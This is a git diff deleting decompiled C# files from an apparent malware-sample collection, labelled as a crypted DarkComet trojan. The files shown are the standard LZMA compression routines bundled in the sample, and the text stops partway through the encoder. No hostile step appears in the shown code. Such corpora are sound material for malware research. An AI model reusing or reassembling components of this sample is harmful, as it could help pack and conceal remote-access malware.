a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Base.cs deleted file mode 100644 index 35a8a495..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Decoder.cs deleted file mode 100644 index c8bd93f0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Encoder.cs deleted file mode 100644 index 80397ca2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - 